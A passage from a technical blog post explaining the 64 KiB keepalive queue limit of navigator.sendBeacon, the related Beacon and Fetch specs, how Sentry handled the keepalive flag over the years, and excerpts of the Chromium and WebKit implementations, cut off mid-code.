10000 characters each:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">8</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">10000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You will find that the last two requests remain in a pending state and cannot be sent:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p2.png" alt="Exceeding the queue limit will keep it pending"></p><p>This is because the first six <code>sendBeacon</code> calls have already filled the queue to 60000, so the last two cannot fit, and thus cannot accept new requests, remaining in a pending state without actively trying to push new ones in when the queue is empty.</p><p>However, strictly speaking, this is not actually a problem with <code>sendBeacon</code>, but rather a limitation that comes with fetch combined with keepalive. In fact, the underlying implementation of <code>navigator.sendBeacon</code> is fetch combined with keepalive.</p><h2><span id="the-specification-of-navigatorsendbeacon-and-a-short-story-about-sentry">The Specification of navigator.sendBeacon and a Short Story about Sentry</span></h2><p>In the specification section <a href="https://w3c.github.io/beacon/#sec-processing-model">3.2 Processing Model</a>, step six mentions the queue we just discussed:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p3.png" alt="Queue in the spec"></p><p>If it is determined that the request cannot fit into the queue, <code>sendBeacon</code> will return false.</p><p>This is actually the solution when the payload encounters a problem. After calling <code>sendBeacon</code>, check if the return value is false. If it is, proceed to handle it, deciding whether to fallback to a regular fetch or implement a retry mechanism.</p><p>The seventh step is what <code>sendBeacon</code> primarily does: it creates a keepalive request and sends it out:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p4.png" alt="keepalive section"></p><p>The payload limit for fetch + keepalive is 64 KiB, which is stated in the <a href="https://fetch.spec.whatwg.org/#http-network-or-cache-fetch">spec</a>:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/fetch-spec.png" alt="fetch spec"></p><p>The error tracking service Sentry actually encountered this issue in the past. In 2018, it was discovered that Sentry had keepalive enabled by default when using fetch, causing some requests over 65536 bytes to fail to send. As a result, this flag was removed:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p5.png" alt="Sentry issue"></p><p>Source: <a href="https://github.com/getsentry/sentry-javascript/issues/1464">When fetch is used keepalive is the default, and Chrome only allows a POST body &lt;&#x3D; 65536 bytes in that scenario #1464</a>, the removed PR: <a href="https://github.com/getsentry/sentry-javascript/pull/1496">ref: Remove keepalive:true as a default and document payload size #1496</a></p><p>Two years later, in 2020, someone discovered the specifications and correct usage of keepalive: <a href="https://github.com/getsentry/sentry-javascript/issues/2547">Fetch KeepAlive #2547</a>, proposing to use keepalive under the payload allowance, and not to use it if exceeded, rather than not using it at all as was the case then.</p><p>However, no action was taken at that time. It was another two years later, in 2022, when someone found that Chrome cancels all requests during navigation, causing some requests to fail to send, leading to the idea of using keepalive to solve this.</p><p>Thus, in September 2022, it was added back with insightful comments:</p><p><a href="https://github.com/getsentry/sentry-javascript/issues/2547">feat(browser): Use fetch keepalive flag #5697</a></p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Outgoing requests are usually cancelled when navigating to a different page, causing a "TypeError: Failed to</span><span class="token comment">// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".</span><span class="token comment">// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're</span><span class="token comment">// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).</span><span class="token comment">// Gotchas:</span><span class="token comment">// - `keepalive` isn't supported by Firefox</span><span class="token comment">// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`</span><span class="token comment">//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when</span><span class="token comment">//   we're below that limit.</span><span class="token literal-property property">keepalive</span><span class="token operator">:</span> request<span class="token punctuation">.</span>body<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">65536</span><span class="token punctuation">,</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Machine translation from Chinese:</p><blockquote><p>When switching to a different page, unfinished requests are often canceled, leading to a “TypeError: Failed to fetch” error and a “network_error” message. In Chrome, the request status shows “(cancelled)”.<br>The keepalive flag allows unfinished requests to remain active during page transitions. Since we often send events before users switch pages, this functionality is necessary.</p><p>Important to note:</p><ol><li>Firefox does not support keepalive.</li><li>According to the specification, if a request is set with keepalive: true and the content length exceeds 64 KiB, a network error will be returned. Therefore, we will only enable this flag when the request content length is below that limit.</li></ol></blockquote><p>But the story doesn’t end here. As I mentioned earlier, this 65536 limit is not just for a single request, but there is a queue, so this approach is insufficient. Six months later, Sentry also noticed this issue and added logic to calculate the queue size, making the entire mechanism more robust: <a href="https://github.com/getsentry/sentry-javascript/pull/7553">fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553</a></p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p6.png" alt="Issue screenshot"></p><p>If you want to implement something similar in the future, you can directly refer to the above Sentry PR.</p><h2><span id="implementation-of-sendbeacon">Implementation of sendBeacon</span></h2><h3><span id="implementation-of-sendbeacon-in-chromium">Implementation of sendBeacon in Chromium</span></h3><p>Finally, let’s take a look at the underlying implementation of sendBeacon, starting with Chromium. I will use the latest stable version 131.0.6778.205 at the time of writing this article as an example. The relevant code can be found at: <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/modules/beacon/navigator_beacon.cc;l=93">third_party&#x2F;blink&#x2F;renderer&#x2F;modules&#x2F;beacon&#x2F;navigator_beacon.cc</a></p><p>I have extracted a small segment of the core code:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool NavigatorBeacon<span class="token operator">::</span><span class="token function">SendBeaconImpl</span><span class="token punctuation">(</span>    ScriptState<span class="token operator">*</span> script_state<span class="token punctuation">,</span>    <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url_string<span class="token punctuation">,</span>    <span class="token keyword">const</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">*</span> data<span class="token punctuation">,</span>    ExceptionState<span class="token operator">&amp;</span> exception_state<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  ExecutionContext<span class="token operator">*</span> execution_context <span class="token operator">=</span> ExecutionContext<span class="token operator">::</span><span class="token function">From</span><span class="token punctuation">(</span>script_state<span class="token punctuation">)</span><span class="token punctuation">;</span>  KURL url <span class="token operator">=</span> execution_context<span class="token operator">-></span><span class="token function">CompleteURL</span><span class="token punctuation">(</span>url_string<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">CanSendBeacon</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> url<span class="token punctuation">,</span> exception_state<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> false<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  bool allowed<span class="token punctuation">;</span>  LocalFrame<span class="token operator">*</span> frame <span class="token operator">=</span> <span class="token function">GetSupplementable</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetFrame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">switch</span> <span class="token punctuation">(</span>data<span class="token operator">-></span><span class="token function">GetContentType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token comment">// [...]</span>      <span class="token keyword">case</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">::</span>ContentType<span class="token operator">::</span>          kUSVString<span class="token operator">:</span>        UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span>                          WebFeature<span class="token operator">::</span>kSendBeaconWithUSVString<span class="token punctuation">)</span><span class="token punctuation">;</span>        allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span>                                         data<span class="token operator">-></span><span class="token function">GetAsUSVString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span> <span class="token function">String</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>allowed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> WebFeature<span class="token operator">::</span>kSendBeaconQuotaExceeded<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> allowed<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The beginning of <code>CanSendBeacon</code> basically checks whether the URL is valid. If it is valid, it continues to check the content type of the payload to be sent, and the actual sending occurs in the <code>PingLoader::SendBeacon</code> method.</p><p>In addition, you can see <code>UseCounter::Count</code> in the code, which is used by Chromium to track the usage frequency of certain features.</p><p>The implementation of <code>PingLoader::SendBeacon</code> can be found at <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/core/loader/ping_loader.cc">third_party&#x2F;blink&#x2F;renderer&#x2F;core&#x2F;loader&#x2F;ping_loader.cc</a>:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool <span class="token function">SendBeaconCommon</span><span class="token punctuation">(</span><span class="token keyword">const</span> ScriptState<span class="token operator">&amp;</span> state<span class="token punctuation">,</span>                      LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                      <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> url<span class="token punctuation">,</span>                      <span class="token keyword">const</span> BeaconData<span class="token operator">&amp;</span> beacon<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">GetContentSecurityPolicyForWorld</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">AllowConnectToSource</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> url<span class="token punctuation">,</span> RedirectStatus<span class="token operator">::</span>kNoRedirect<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// We're simulating a network failure here, so we return 'true'.</span>    <span class="token keyword">return</span> true<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>BEACON<span class="token punctuation">)</span><span class="token punctuation">;</span>  beacon<span class="token punctuation">.</span><span class="token function">Serialize</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>                         <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// The spec says:</span>  <span class="token comment">//  - If mimeType is not null:</span>  <span class="token comment">//   - If mimeType value is a CORS-safelisted request-header value for the</span>  <span class="token comment">//     Content-Type header, set corsMode to "no-cors".</span>  <span class="token comment">// As we don't support requests with non CORS-safelisted Content-Type, the</span>  <span class="token comment">// mode should always be "no-cors".</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kBeacon<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  Resource<span class="token operator">*</span> resource <span class="token operator">=</span>      RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> resource<span class="token operator">-></span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> ResourceStatus<span class="token operator">::</span>kLoadError<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It first checks for CSP violations. If there are none, it sends a keepalive request and returns whether it was successful.</p><p>It is worth noting that in the same file, there is another function that does something similar, called <code>PingLoader::SendLinkAuditPing</code>. There is an attribute called <code>ping</code> on the <code>&lt;a&gt;</code> tag, and when the user clicks the link, the browser sends a request to the location specified by the ping:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span>  <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://example.com<span class="token punctuation">"</span></span>  <span class="token attr-name">ping</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://blog.huli.tw<span class="token punctuation">"</span></span>  <span class="token punctuation">></span></span>click me<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This is also implemented using a keepalive fetch:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> PingLoader<span class="token operator">::</span><span class="token function">SendLinkAuditPing</span><span class="token punctuation">(</span>LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> ping_url<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> destination_url<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ping_url<span class="token punctuation">.</span><span class="token function">ProtocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHTTPContentType</span><span class="token punctuation">(</span><span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"text/ping"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpBody</span><span class="token punctuation">(</span>EncodedFormData<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>base<span class="token operator">::</span><span class="token function">span_from_cstring</span><span class="token punctuation">(</span><span class="token string">"PING"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kCacheControl<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"max-age=0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPingTo<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span>destination_url<span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  scoped_refptr<span class="token operator">&lt;</span><span class="token keyword">const</span> SecurityOrigin<span class="token operator">></span> ping_origin <span class="token operator">=</span>      SecurityOrigin<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ProtocolIs</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">||</span>      frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetSecurityOrigin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">CanAccess</span><span class="token punctuation">(</span>ping_origin<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>        http_names<span class="token operator">::</span>kPingFrom<span class="token punctuation">,</span>        <span class="token function">AtomicString</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerString</span><span class="token punctuation">(</span>Referrer<span class="token operator">::</span><span class="token function">NoReferrer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerPolicy</span><span class="token punctuation">(</span>network<span class="token operator">::</span>mojom<span class="token operator">::</span>ReferrerPolicy<span class="token operator">::</span>kNever<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>PING<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>      std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetCurrentWorld</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kPing<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="implementation-of-sendbeacon-in-safari">Implementation of sendBeacon in Safari</span></h3><p>The implementation in Safari can be found at <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/Modules/beacon/NavigatorBeacon.cpp">WebKit&#x2F;Source&#x2F;WebCore&#x2F;Modules&#x2F;beacon&#x2F;NavigatorBeacon.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ExceptionOr<span class="token operator">&lt;</span><span class="token keyword">bool</span><span class="token operator">></span> <span class="token class-name">NavigatorBeacon</span><span class="token double-colon punctuation">::</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span>Document<span class="token operator">&amp;</span> document<span class="token punctuation">,</span> <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url<span class="token punctuation">,</span> std<span class="token double-colon punctuation">::</span>optional<span class="token operator">&lt;</span>FetchBody<span class="token double-colon punctuation">::</span>Init<span class="token operator">></span><span class="token operator">&amp;&amp;</span> body<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    URL parsedUrl <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">completeURL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// Set parsedUrl to the result of the URL parser steps with url and base. If the algorithm returns an error, or if</span>    <span class="token comment">// parsedUrl's scheme is not "http" or "https", throw a "TypeError" exception and terminate these steps.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">isValid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"This URL is invalid"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">protocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons can only be sent over HTTP(S)"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">frame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">shouldBypassMainWorldContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">checkedContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">allowConnectToSource</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// We simulate a network error so we return true here. This is consistent with Blink.</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setHTTPMethod</span><span class="token punctuation">(</span><span class="token string">"POST"</span>_s<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setRequester</span><span class="token punctuation">(</span>ResourceRequestRequester<span class="token double-colon punctuation">::</span>Beacon<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>RefPtr documentLoader <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">loader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        request<span class="token punctuation">.</span><span class="token function">setIsAppInitiated</span><span class="token punctuation">(</span>documentLoader<span 